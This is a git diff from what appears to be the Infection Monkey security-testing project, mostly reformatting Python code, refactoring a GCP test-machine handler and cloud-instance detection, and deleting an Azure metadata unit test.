def __init__(self, island_client: MonkeyIslandClient, quick_performance_test: bool):
self.island_client = island_client
self.quick_performance_test = quick_performance_test
@@ -27,29 +26,41 @@ class TelemetryPerformanceTest:
try:
all_telemetries = SampleFileParser.get_all_telemetries()
except FileNotFoundError:
- raise FileNotFoundError("Telemetries to send not found. "
- "Refer to readme to figure out how to generate telemetries and where to put them.")
+ raise FileNotFoundError(
+ "Telemetries to send not found. "
+ "Refer to readme to figure out how to generate telemetries and where to put them."
+ )
LOGGER.info("Telemetries imported successfully.")
- all_telemetries.sort(key=lambda telem: telem['time']['$date'])
+ all_telemetries.sort(key=lambda telem: telem["time"]["$date"])
telemetry_parse_times = {}
- for telemetry in tqdm(all_telemetries, total=len(all_telemetries), ascii=True, desc="Telemetries sent"):
- telemetry_endpoint = TelemetryPerformanceTest.get_verbose_telemetry_endpoint(telemetry)
- telemetry_parse_times[telemetry_endpoint] = self.get_telemetry_time(telemetry)
- test_config = PerformanceTestConfig(MAX_ALLOWED_SINGLE_TELEM_PARSE_TIME, MAX_ALLOWED_TOTAL_TIME)
+ for i in range(len(all_telemetries)):
+ telemetry_endpoint = TelemetryPerformanceTest.get_verbose_telemetry_endpoint(
+ all_telemetries[i]
+ )
+ telemetry_parse_times[telemetry_endpoint] = self.get_telemetry_time(all_telemetries[i])
+ LOGGER.info(f"Telemetry Nr.{i} sent out of {len(all_telemetries)} total.")
+ test_config = PerformanceTestConfig(
+ MAX_ALLOWED_SINGLE_TELEM_PARSE_TIME, MAX_ALLOWED_TOTAL_TIME
+ )
PerformanceAnalyzer(test_config, telemetry_parse_times).analyze_test_results()
if not self.quick_performance_test:
self.island_client.reset_env()
def get_telemetry_time(self, telemetry):
- content = telemetry['content']
- url = telemetry['endpoint']
- method = SupportedRequestMethod.__getattr__(telemetry['method'])
+ content = telemetry["content"]
+ url = telemetry["endpoint"]
+ method = SupportedRequestMethod.__getattr__(telemetry["method"])
return self.island_client.requests.get_request_time(url=url, method=method, data=content)
@staticmethod
def get_verbose_telemetry_endpoint(telemetry):
telem_category = ""
- if "telem_category" in telemetry['content']:
- telem_category = "_" + json.loads(telemetry['content'])['telem_category'] + "_" + telemetry['_id']['$oid']
- return telemetry['endpoint'] + telem_category
+ if "telem_category" in telemetry["content"]:
+ telem_category = (
+ "_"
+ + json.loads(telemetry["content"])["telem_category"]
+ + "_"
+ + telemetry["_id"]["$oid"]
+ )
+ return telemetry["endpoint"] + telem_category
diff --git a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py
index 6d09752ca..b492bf9e6 100644
--- a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py
+++ b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py
@@ -1,12 +1,17 @@
from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest
-from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import EndpointPerformanceTest
+from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import (
+ EndpointPerformanceTest,
+)
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
-from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import TelemetryPerformanceTest
+from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import (
+ TelemetryPerformanceTest,
+)
class TelemetryPerformanceTestWorkflow(BasicTest):
-
- def __init__(self, name, island_client, performance_config: PerformanceTestConfig, quick_performance_test):
+ def __init__(
+ self, name, island_client, performance_config: PerformanceTestConfig, quick_performance_test
+ ):
self.name = name
self.island_client = island_client
self.performance_config = performance_config
@@ -15,10 +20,14 @@ class TelemetryPerformanceTestWorkflow(BasicTest):
def run(self):
try:
if not self.quick_performance_test:
- telem_sending_test = TelemetryPerformanceTest(island_client=self.island_client,
- quick_performance_test=self.quick_performance_test)
+ telem_sending_test = TelemetryPerformanceTest(
+ island_client=self.island_client,
+ quick_performance_test=self.quick_performance_test,
+ )
telem_sending_test.test_telemetry_performance()
- performance_test = EndpointPerformanceTest(self.name, self.performance_config, self.island_client)
+ performance_test = EndpointPerformanceTest(
+ self.name, self.performance_config, self.island_client
+ )
assert performance_test.run()
finally:
if not self.quick_performance_test:
diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py
index 603e9fe4d..b2c69acda 100644
--- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py
+++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py
@@ -18,12 +18,8 @@ from envs.monkey_zoo.blackbox.config_templates.weblogic import Weblogic
from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz
from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth
from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon
-from envs.monkey_zoo.blackbox.island_client.island_config_parser import (
- IslandConfigParser,
-)
-from envs.monkey_zoo.blackbox.island_client.monkey_island_client import (
- MonkeyIslandClient,
-)
+from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser
+from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
DST_DIR_NAME = "generated_configs"
DST_DIR_PATH = pathlib.Path(pathlib.Path(__file__).parent.absolute(), DST_DIR_NAME)
diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py
index 927b5b6f3..c438e92f5 100644
--- a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py
+++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py
@@ -1,28 +1,47 @@
import logging
+import os
import subprocess
LOGGER = logging.getLogger(__name__)
class GCPHandler(object):
-
AUTHENTICATION_COMMAND = "gcloud auth activate-service-account --key-file=%s"
SET_PROPERTY_PROJECT = "gcloud config set project %s"
MACHINE_STARTING_COMMAND = "gcloud compute instances start %s --zone=%s"
MACHINE_STOPPING_COMMAND = "gcloud compute instances stop %s --zone=%s"
- def __init__(self, key_path="../gcp_keys/gcp_key.json", zone="europe-west3-a", project_id="guardicore-22050661"):
+ # Key path location relative to this file's directory
+ RELATIVE_KEY_PATH = "../../gcp_keys/gcp_key.json"
+ DEFAULT_ZONE = "europe-west3-a"
+ DEFAULT_PROJECT = "guardicore-22050661"
+
+ def __init__(
+ self,
+ zone=DEFAULT_ZONE,
+ project_id=DEFAULT_PROJECT,
+ ):
self.zone = zone
- try:
- # pass the key file to gcp
- subprocess.call(GCPHandler.get_auth_command(key_path), shell=True) # noqa: DUO116
- LOGGER.info("GCP Handler passed key")
- # set project
- subprocess.call(GCPHandler.get_set_project_command(project_id), shell=True) # noqa: DUO116
- LOGGER.info("GCP Handler set project")
- LOGGER.info("GCP Handler initialized successfully")
- except Exception as e:
- LOGGER.error("GCP Handler failed to initialize: %s." % e)
+ abs_key_path = GCPHandler.get_absolute_key_path()
+
+ subprocess.call(GCPHandler.get_auth_command(abs_key_path), shell=True) # noqa: DUO116
+ LOGGER.info("GCP Handler passed key")
+
+ subprocess.call(GCPHandler.get_set_project_command(project_id), shell=True) # noqa: DUO116
+ LOGGER.info("GCP Handler set project")
+ LOGGER.info("GCP Handler initialized successfully")
+
+ @staticmethod
+ def get_absolute_key_path() -> str:
+ file_dir = os.path.dirname(os.path.realpath(__file__))
+ absolute_key_path = os.path.join(file_dir, GCPHandler.RELATIVE_KEY_PATH)
+ absolute_key_path = os.path.realpath(absolute_key_path)
+
+ if not os.path.isfile(absolute_key_path):
+ raise FileNotFoundError(
+ "GCP key not found. " "Add a service key to envs/monkey_zoo/gcp_keys/gcp_key.json"
+ )
+ return absolute_key_path
def start_machines(self, machine_list):
"""
@@ -32,14 +51,18 @@ class GCPHandler(object):
"""
LOGGER.info("Setting up all GCP machines...")
try:
- subprocess.call((GCPHandler.MACHINE_STARTING_COMMAND % (machine_list, self.zone)), shell=True) # noqa: DUO116
+ subprocess.call( # noqa: DUO116
+ (GCPHandler.MACHINE_STARTING_COMMAND % (machine_list, self.zone)), shell=True
+ )
LOGGER.info("GCP machines successfully started.")
except Exception as e:
LOGGER.error("GCP Handler failed to start GCP machines: %s" % e)
def stop_machines(self, machine_list):
try:
- subprocess.call((GCPHandler.MACHINE_STOPPING_COMMAND % (machine_list, self.zone)), shell=True) # noqa: DUO116
+ subprocess.call( # noqa: DUO116
+ (GCPHandler.MACHINE_STOPPING_COMMAND % (machine_list, self.zone)), shell=True
+ )
LOGGER.info("GCP machines stopped successfully.")
except Exception as e:
LOGGER.error("GCP Handler failed to stop network machines: %s" % e)
diff --git a/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore b/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore
index 9c558e357..72e8ffc0d 100644
--- a/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore
+++ b/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore
@@ -1 +1 @@
-.
+*
diff --git a/envs/os_compatibility/conftest.py b/envs/os_compatibility/conftest.py
index 13aabf5b6..eb643c028 100644
--- a/envs/os_compatibility/conftest.py
+++ b/envs/os_compatibility/conftest.py
@@ -2,10 +2,14 @@ import pytest
def pytest_addoption(parser):
- parser.addoption("--island", action="store", default="",
- help="Specify the Monkey Island address (host+port).")
+ parser.addoption(
+ "--island",
+ action="store",
+ default="",
+ help="Specify the Monkey Island address (host+port).",
+ )
-@pytest.fixture(scope='module')
+@pytest.fixture(scope="module")
def island(request):
return request.config.getoption("--island")
diff --git a/envs/os_compatibility/test_compatibility.py b/envs/os_compatibility/test_compatibility.py
index 1cf5220bb..f43323e19 100644
--- a/envs/os_compatibility/test_compatibility.py
+++ b/envs/os_compatibility/test_compatibility.py
@@ -31,22 +31,21 @@ machine_list = {
}
-@pytest.fixture(scope='class')
+@pytest.fixture(scope="class")
def island_client(island):
island_client_object = MonkeyIslandClient(island)
yield island_client_object
-@pytest.mark.usefixtures('island_client')
+@pytest.mark.usefixtures("island_client")
# noinspection PyUnresolvedReferences
class TestOSCompatibility(object):
-
def test_os_compat(self, island_client):
print()
all_monkeys = island_client.get_all_monkeys_from_db()
ips_that_communicated = []
for monkey in all_monkeys:
- for ip in monkey['ip_addresses']:
+ for ip in monkey["ip_addresses"]:
if ip in machine_list:
ips_that_communicated.append(ip)
break
diff --git a/monkey/__init__.py b/monkey/__init__.py
index ee5b79ad0..e69de29bb 100644
--- a/monkey/__init__.py
+++ b/monkey/__init__.py
@@ -1 +0,0 @@
-__author__ = 'itay.mizeretz'
diff --git a/monkey/common/BUILD b/monkey/common/BUILD
index 90012116c..d7025695e 100644
--- a/monkey/common/BUILD
+++ b/monkey/common/BUILD
@@ -1 +1 @@
-dev
\ No newline at end of file
+release
diff --git a/monkey/common/__init__.py b/monkey/common/__init__.py
index ee5b79ad0..e69de29bb 100644
--- a/monkey/common/__init__.py
+++ b/monkey/common/__init__.py
@@ -1 +0,0 @@
-__author__ = 'itay.mizeretz'
diff --git a/monkey/common/cloud/__init__.py b/monkey/common/cloud/__init__.py
index ee5b79ad0..e69de29bb 100644
--- a/monkey/common/cloud/__init__.py
+++ b/monkey/common/cloud/__init__.py
@@ -1 +0,0 @@
-__author__ = 'itay.mizeretz'
diff --git a/monkey/common/cloud/aws/aws_instance.py b/monkey/common/cloud/aws/aws_instance.py
index 75dee4ce9..09d112480 100644
--- a/monkey/common/cloud/aws/aws_instance.py
+++ b/monkey/common/cloud/aws/aws_instance.py
@@ -1,16 +1,14 @@
import json
import logging
import re
+
import requests
from common.cloud.environment_names import Environment
from common.cloud.instance import CloudInstance
-__author__ = 'itay.mizeretz'
-
-
AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS = "169.254.169.254"
-AWS_LATEST_METADATA_URI_PREFIX = 'http://{0}/latest/'.format(AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS)
+AWS_LATEST_METADATA_URI_PREFIX = "http://{0}/latest/".format(AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS)
ACCOUNT_ID_KEY = "accountId"
logger = logging.getLogger(__name__)
@@ -20,6 +18,7 @@ class AwsInstance(CloudInstance):
"""
Class which gives useful information about the current instance you're on.
"""
+
def is_instance(self):
return self.instance_id is not None
@@ -32,25 +31,36 @@ class AwsInstance(CloudInstance):
self.account_id = None
try:
- response = requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2)
+ response = requests.get(
+ AWS_LATEST_METADATA_URI_PREFIX + "meta-data/instance-id", timeout=2
+ )
self.instance_id = response.text if response else None
self.region = self._parse_region(
- requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').text)
+ requests.get(
+ AWS_LATEST_METADATA_URI_PREFIX + "meta-data/placement/availability-zone"
+ ).text
+ )
except (requests.RequestException, IOError) as e:
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))
try:
self.account_id = self._extract_account_id(
- requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).text)
+ requests.get(
+ AWS_LATEST_METADATA_URI_PREFIX + "dynamic/instance-identity/document", timeout=2
+ ).text
+ )
except (requests.RequestException, json.decoder.JSONDecodeError, IOError) as e:
- logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e))
+ logger.debug(
+ "Failed init of AwsInstance while getting dynamic instance data: {}".format(e)
+ )
@staticmethod
def _parse_region(region_url_response):
# For a list of regions, see:
- # https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html
+ # https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts
+ # .RegionsAndAvailabilityZones.html
# This regex will find any AWS region format string in the response.
- re_phrase = r'((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])'
+ re_phrase = r"((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])"
finding = re.findall(re_phrase, region_url_response, re.IGNORECASE)
if finding:
return finding[0]
@@ -67,9 +77,11 @@ class AwsInstance(CloudInstance):
def _extract_account_id(instance_identity_document_response):
"""
Extracts the account id from the dynamic/instance-identity/document metadata path.
- Based on https://forums.aws.amazon.com/message.jspa?messageID=409028 which has a few more solutions,
+ Based on https://forums.aws.amazon.com/message.jspa?messageID=409028 which has a few more
+ solutions,
in case Amazon break this mechanism.
- :param instance_identity_document_response: json returned via the web page ../dynamic/instance-identity/document
+ :param instance_identity_document_response: json returned via the web page
+ ../dynamic/instance-identity/document
:return: The account id
"""
return json.loads(instance_identity_document_response)[ACCOUNT_ID_KEY]
diff --git a/monkey/common/cloud/aws/aws_service.py b/monkey/common/cloud/aws/aws_service.py
index a42c2e1dd..4a9ded280 100644
--- a/monkey/common/cloud/aws/aws_service.py
+++ b/monkey/common/cloud/aws/aws_service.py
@@ -2,38 +2,40 @@ import logging
import boto3
import botocore
-from botocore.exceptions import ClientError
from common.cloud.aws.aws_instance import AwsInstance
-__author__ = ['itay.mizeretz', 'shay.nehmad']
-
-INSTANCE_INFORMATION_LIST_KEY = 'InstanceInformationList'
-INSTANCE_ID_KEY = 'InstanceId'
-COMPUTER_NAME_KEY = 'ComputerName'
-PLATFORM_TYPE_KEY = 'PlatformType'
-IP_ADDRESS_KEY = 'IPAddress'
+INSTANCE_INFORMATION_LIST_KEY = "InstanceInformationList"
+INSTANCE_ID_KEY = "InstanceId"
+COMPUTER_NAME_KEY = "ComputerName"
+PLATFORM_TYPE_KEY = "PlatformType"
+IP_ADDRESS_KEY = "IPAddress"
logger = logging.getLogger(__name__)
def filter_instance_data_from_aws_response(response):
- return [{
- 'instance_id': x[INSTANCE_ID_KEY],
- 'name': x[COMPUTER_NAME_KEY],
- 'os': x[PLATFORM_TYPE_KEY].lower(),
- 'ip_address': x[IP_ADDRESS_KEY]
- } for x in response[INSTANCE_INFORMATION_LIST_KEY]]
+ return [
+ {
+ "instance_id": x[INSTANCE_ID_KEY],
+ "name": x[COMPUTER_NAME_KEY],
+ "os": x[PLATFORM_TYPE_KEY].lower(),
+ "ip_address": x[IP_ADDRESS_KEY],
+ }
+ for x in response[INSTANCE_INFORMATION_LIST_KEY]
+ ]
class AwsService(object):
"""
- A wrapper class around the boto3 client and session modules, which supplies various AWS services.
+ A wrapper class around the boto3 client and session modules, which supplies various AWS
+ services.
This class will assume:
1. That it's running on an EC2 instance
2. That the instance is associated with the correct IAM role. See
- https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam-role for details.
+ https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam-role
+ for details.
"""
region = None
@@ -45,24 +47,8 @@ class AwsService(object):
@staticmethod
def get_client(client_type, region=None):
return boto3.client(
- client_type,
- region_name=region if region is not None else AwsService.region)
-
- @staticmethod
- def get_session():
- return boto3.session.Session()
-
- @staticmethod
- def get_regions():
- return AwsService.get_session().get_available_regions('ssm')
-
- @staticmethod
- def test_client():
- try:
- AwsService.get_client('ssm').describe_instance_information()
- return True
- except ClientError:
- return False
+ client_type, region_name=region if region is not None else AwsService.region
+ )
@staticmethod
def get_instances():
@@ -70,7 +56,8 @@ class AwsService(object):
Get the information for all instances with the relevant roles.
This function will assume that it's running on an EC2 instance with the correct IAM role.
- See https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam-role for details.
+ See https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam
+ -role for details.
:raises: botocore.exceptions.ClientError if can't describe local instance information.
:return: All visible instances from this instance
diff --git a/monkey/common/cloud/azure/azure_instance.py b/monkey/common/cloud/azure/azure_instance.py
index 969e4a8ca..859ab279f 100644
--- a/monkey/common/cloud/azure/azure_instance.py
+++ b/monkey/common/cloud/azure/azure_instance.py
@@ -8,7 +8,9 @@ from common.cloud.instance import CloudInstance
from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
LATEST_AZURE_METADATA_API_VERSION = "2019-04-30"
-AZURE_METADATA_SERVICE_URL = "http://169.254.169.254/metadata/instance?api-version=%s" % LATEST_AZURE_METADATA_API_VERSION
+AZURE_METADATA_SERVICE_URL = (
+ "http://169.254.169.254/metadata/instance?api-version=%s" % LATEST_AZURE_METADATA_API_VERSION
+)
logger = logging.getLogger(__name__)
@@ -16,8 +18,10 @@ logger = logging.getLogger(__name__)
class AzureInstance(CloudInstance):
"""
Access to useful information about the current machine if it's an Azure VM.
- Based on Azure metadata service: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
+ Based on Azure metadata service:
+ https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
"""
+
def is_instance(self):
return self._on_azure
@@ -34,19 +38,25 @@ class AzureInstance(CloudInstance):
self._on_azure = False
try:
- response = requests.get(AZURE_METADATA_SERVICE_URL,
- headers={"Metadata": "true"},
- timeout=SHORT_REQUEST_TIMEOUT)
+ response = requests.get(
+ AZURE_METADATA_SERVICE_URL,
+ headers={"Metadata": "true"},
+ timeout=SHORT_REQUEST_TIMEOUT,
+ )
# If not on cloud, the metadata URL is non-routable and the connection will fail.
- # If on AWS, should get 404 since the metadata service URL is different, so bool(response) will be false.
+ # If on AWS, should get 404 since the metadata service URL is different,
+ # so bool(response) will be false.
if response:
logger.debug("Trying to parse Azure metadata.")
self.try_parse_response(response)
else:
logger.warning(f"Metadata response not ok: {response.status_code}")
except requests.RequestException:
- logger.debug("Failed to get response from Azure metadata service: This instance is not on Azure.")
+ logger.debug(
+ "Failed to get response from Azure metadata service: This instance is not on "
+ "Azure."
+ )
def try_parse_response(self, response):
try:
diff --git a/monkey/common/cloud/azure/test_azure_instance.py b/monkey/common/cloud/azure/test_azure_instance.py
deleted file mode 100644
index 680af90ed..000000000
--- a/monkey/common/cloud/azure/test_azure_instance.py
+++ /dev/null
@@ -1,199 +0,0 @@
-import pytest
-import requests
-import requests_mock
-import simplejson
-
-from common.cloud.azure.azure_instance import (AZURE_METADATA_SERVICE_URL,
- AzureInstance)
-from common.cloud.environment_names import Environment
-
-
-GOOD_DATA = {
- 'compute': {'azEnvironment': 'AZUREPUBLICCLOUD',
- 'isHostCompatibilityLayerVm': 'true',
- 'licenseType': 'Windows_Client',
- 'location': 'westus',
- 'name': 'examplevmname',
- 'offer': 'Windows',
- 'osProfile': {'adminUsername': 'admin',
- 'computerName': 'examplevmname',
- 'disablePasswordAuthentication': 'true'},
- 'osType': 'linux',
- 'placementGroupId': 'f67c14ab-e92c-408c-ae2d-da15866ec79a',
- 'plan': {'name': 'planName',
- 'product': 'planProduct',
- 'publisher': 'planPublisher'},
- 'platformFaultDomain': '36',
- 'platformUpdateDomain': '42',
- 'publicKeys': [{'keyData': 'ssh-rsa 0',
- 'path': '/home/user/.ssh/authorized_keys0'},
- {'keyData': 'ssh-rsa 1',
- 'path': '/home/user/.ssh/authorized_keys1'}],
- 'publisher': 'RDFE-Test-Microsoft-Windows-Server-Group',
- 'resourceGroupName': 'macikgo-test-may-23',
- 'resourceId': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/resourceGroups/macikgo-test-may-23/'
- 'providers/Microsoft.Compute/virtualMachines/examplevmname',
- 'securityProfile': {'secureBootEnabled': 'true',
- 'virtualTpmEnabled': 'false'},
- 'sku': 'Windows-Server-2012-R2-Datacenter',
- 'storageProfile': {'dataDisks': [{'caching': 'None',
- 'createOption': 'Empty',
- 'diskSizeGB': '1024',
- 'image': {'uri': ''},
- 'lun': '0',
- 'managedDisk': {'id': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/'
- 'resourceGroups/macikgo-test-may-23/providers/'
- 'Microsoft.Compute/disks/exampledatadiskname',
- 'storageAccountType': 'Standard_LRS'},
- 'name': 'exampledatadiskname',
- 'vhd': {'uri': ''},
- 'writeAcceleratorEnabled': 'false'}],
- 'imageReference': {'id': '',
- 'offer': 'UbuntuServer',
- 'publisher': 'Canonical',
- 'sku': '16.04.0-LTS',
- 'version': 'latest'},
- 'osDisk': {'caching': 'ReadWrite',
- 'createOption': 'FromImage',
- 'diskSizeGB': '30',
- 'diffDiskSettings': {'option': 'Local'},
- 'encryptionSettings': {'enabled': 'false'},
- 'image': {'uri': ''},
- 'managedDisk': {'id': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/'
- 'resourceGroups/macikgo-test-may-23/providers/'
- 'Microsoft.Compute/disks/exampleosdiskname',
- 'storageAccountType': 'Standard_LRS'},
- 'name': 'exampleosdiskname',
- 'osType': 'Linux',
- 'vhd': {'uri': ''},
- 'writeAcceleratorEnabled': 'false'}},
- 'subscriptionId': 'xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx',
- 'tags': 'baz:bash;foo:bar',
- 'version': '15.05.22',
- 'vmId': '02aab8a4-74ef-476e-8182-f6d2ba4166a6',
- 'vmScaleSetName': 'crpteste9vflji9',
- 'vmSize': 'Standard_A3',
- 'zone': ''},
- 'network': {'interface': [{'ipv4': {'ipAddress': [{'privateIpAddress': '10.144.133.132',
- 'publicIpAddress': ''}],
- 'subnet': [{'address': '10.144.133.128',
- 'prefix': '26'}]},
- 'ipv6': {'ipAddress': []},
- 'macAddress': '0011AAFFBB22'}]}
- }
-
-
-BAD_DATA_NOT_JSON = '\n\n\n
\n
\n
Waiting... \n\n\n \n\n'
-
-
-BAD_DATA_JSON = {'': ''}
-
-
-def get_test_azure_instance(url, **kwargs):
- with requests_mock.Mocker() as m:
- m.get(url, **kwargs)
- test_azure_instance_object = AzureInstance()
- return test_azure_instance_object
-
-
-# good request, good data
-@pytest.fixture
-def good_data_mock_instance():
- return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=simplejson.dumps(GOOD_DATA))
-
-
-def test_is_instance_good_data(good_data_mock_instance):
- assert good_data_mock_instance.is_instance()
-
-
-def test_get_cloud_provider_name_good_data(good_data_mock_instance):
- assert good_data_mock_instance.get_cloud_provider_name() == Environment.AZURE
-
-
-def test_try_parse_response_good_data(good_data_mock_instance):
- assert good_data_mock_instance.instance_name == GOOD_DATA['compute']['name']
- assert good_data_mock_instance.instance_id == GOOD_DATA['compute']['vmId']
- assert good_data_mock_instance.location == GOOD_DATA['compute']['location']
-
-
-# good request, bad data (json)
-@pytest.fixture
-def bad_data_json_mock_instance():
- return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=simplejson.dumps(BAD_DATA_JSON))
-
-
-def test_is_instance_bad_data_json(bad_data_json_mock_instance):
- assert bad_data_json_mock_instance.is_instance() is False
-
-
-def test_get_cloud_provider_name_bad_data_json(bad_data_json_mock_instance):
- assert bad_data_json_mock_instance.get_cloud_provider_name() == Environment.AZURE
-
-
-def test_instance_attributes_bad_data_json(bad_data_json_mock_instance):
- assert bad_data_json_mock_instance.instance_name is None
- assert bad_data_json_mock_instance.instance_id is None
- assert bad_data_json_mock_instance.location is None
-
-
-# good request, bad data (not json)
-@pytest.fixture
-def bad_data_not_json_mock_instance():
- return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=BAD_DATA_NOT_JSON)
-
-
-def test_is_instance_bad_data_not_json(bad_data_not_json_mock_instance):
- assert bad_data_not_json_mock_instance.is_instance() is False
-
-
-def test_get_cloud_provider_name_bad_data_not_json(bad_data_not_json_mock_instance):
- assert bad_data_not_json_mock_instance.get_cloud_provider_name() == Environment.AZURE
-
-
-def test_instance_attributes_bad_data_not_json(bad_data_not_json_mock_instance):
- assert bad_data_not_json_mock_instance.instance_name is None
- assert bad_data_not_json_mock_instance.instance_id is None
- assert bad_data_not_json_mock_instance.location is None
-
-
-# bad request
-@pytest.fixture
-def bad_request_mock_instance():
- return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, exc=requests.RequestException)
-
-
-def test_is_instance_bad_request(bad_request_mock_instance):
- assert bad_request_mock_instance.is_instance() is False
-
-
-def test_get_cloud_provider_name_bad_request(bad_request_mock_instance):
- assert bad_request_mock_instance.get_cloud_provider_name() == Environment.AZURE
-
-
-def test_instance_attributes_bad_request(bad_request_mock_instance):
- assert bad_request_mock_instance.instance_name is None
- assert bad_request_mock_instance.instance_id is None
- assert bad_request_mock_instance.location is None
-
-
-# not found request
-@pytest.fixture
-def not_found_request_mock_instance():
- return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, status_code=404)
-
-
-def test_is_instance_not_found_request(not_found_request_mock_instance):
- assert not_found_request_mock_instance.is_instance() is False
-
-
-def test_get_cloud_provider_name_not_found_request(not_found_request_mock_instance):
- assert not_found_request_mock_instance.get_cloud_provider_name() == Environment.AZURE
-
-
-def test_instance_attributes_not_found_request(not_found_request_mock_instance):
- assert not_found_request_mock_instance.instance_name is None
- assert not_found_request_mock_instance.instance_id is None
- assert not_found_request_mock_instance.location is None
diff --git a/monkey/common/cloud/gcp/gcp_instance.py b/monkey/common/cloud/gcp/gcp_instance.py
index 6c14500db..1fc208165 100644
--- a/monkey/common/cloud/gcp/gcp_instance.py
+++ b/monkey/common/cloud/gcp/gcp_instance.py
@@ -8,14 +8,15 @@ from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
logger = logging.getLogger(__name__)
-
GCP_METADATA_SERVICE_URL = "http://metadata.google.internal/"
class GcpInstance(CloudInstance):
"""
- Used to determine if on GCP. See https://cloud.google.com/compute/docs/storing-retrieving-metadata#runninggce
+ Used to determine if on GCP. See https://cloud.google.com/compute/docs/storing-retrieving
+ -metadata#runninggce
"""
+
def is_instance(self):
return self._on_gcp
@@ -37,9 +38,17 @@ class GcpInstance(CloudInstance):
logger.warning("Got unexpected GCP Metadata format")
else:
if not response.headers["Metadata-Flavor"] == "Google":
- logger.warning("Got unexpected Metadata flavor: {}".format(response.headers["Metadata-Flavor"]))
+ logger.warning(
+ "Got unexpected Metadata flavor: {}".format(
+ response.headers["Metadata-Flavor"]
+ )
+ )
else:
- logger.warning("On GCP, but metadata response not ok: {}".format(response.status_code))
+ logger.warning(
+ "On GCP, but metadata response not ok: {}".format(response.status_code)
+ )
except requests.RequestException:
- logger.debug("Failed to get response from GCP metadata service: This instance is not on GCP")
+ logger.debug(
+ "Failed to get response from GCP metadata service: This instance is not on GCP"
+ )
self._on_gcp = False
diff --git a/monkey/common/cloud/instance.py b/monkey/common/cloud/instance.py
index abe0c7910..f0da19359 100644
--- a/monkey/common/cloud/instance.py
+++ b/monkey/common/cloud/instance.py
@@ -7,6 +7,7 @@ class CloudInstance(object):
The current machine can be a cloud instance (for example EC2 instance or Azure VM).
"""
+
def is_instance(self) -> bool:
raise NotImplementedError()
diff --git a/monkey/common/cloud/scoutsuite_consts.py b/monkey/common/cloud/scoutsuite_consts.py
index 4db862a4a..091b51114 100644
--- a/monkey/common/cloud/scoutsuite_consts.py
+++ b/monkey/common/cloud/scoutsuite_consts.py
@@ -2,8 +2,8 @@ from enum import Enum
class CloudProviders(Enum):
- AWS = 'aws'
- AZURE = 'azure'
- GCP = 'gcp'
- ALIBABA = 'aliyun'
- ORACLE = 'oci'
+ AWS = "aws"
+ AZURE = "azure"
+ GCP = "gcp"
+ ALIBABA = "aliyun"
+ ORACLE = "oci"
diff --git a/monkey/common/cmd/aws/aws_cmd_result.py b/monkey/common/cmd/aws/aws_cmd_result.py
index 3499f8d14..0a6c5f3cc 100644
--- a/monkey/common/cmd/aws/aws_cmd_result.py
+++ b/monkey/common/cmd/aws/aws_cmd_result.py
@@ -1,7 +1,5 @@
from common.cmd.cmd_result import CmdResult
-__author__ = 'itay.mizeretz'
-
class AwsCmdResult(CmdResult):
"""
@@ -10,16 +8,22 @@ class AwsCmdResult(CmdResult):
def __init__(self, command_info):
super(AwsCmdResult, self).__init__(
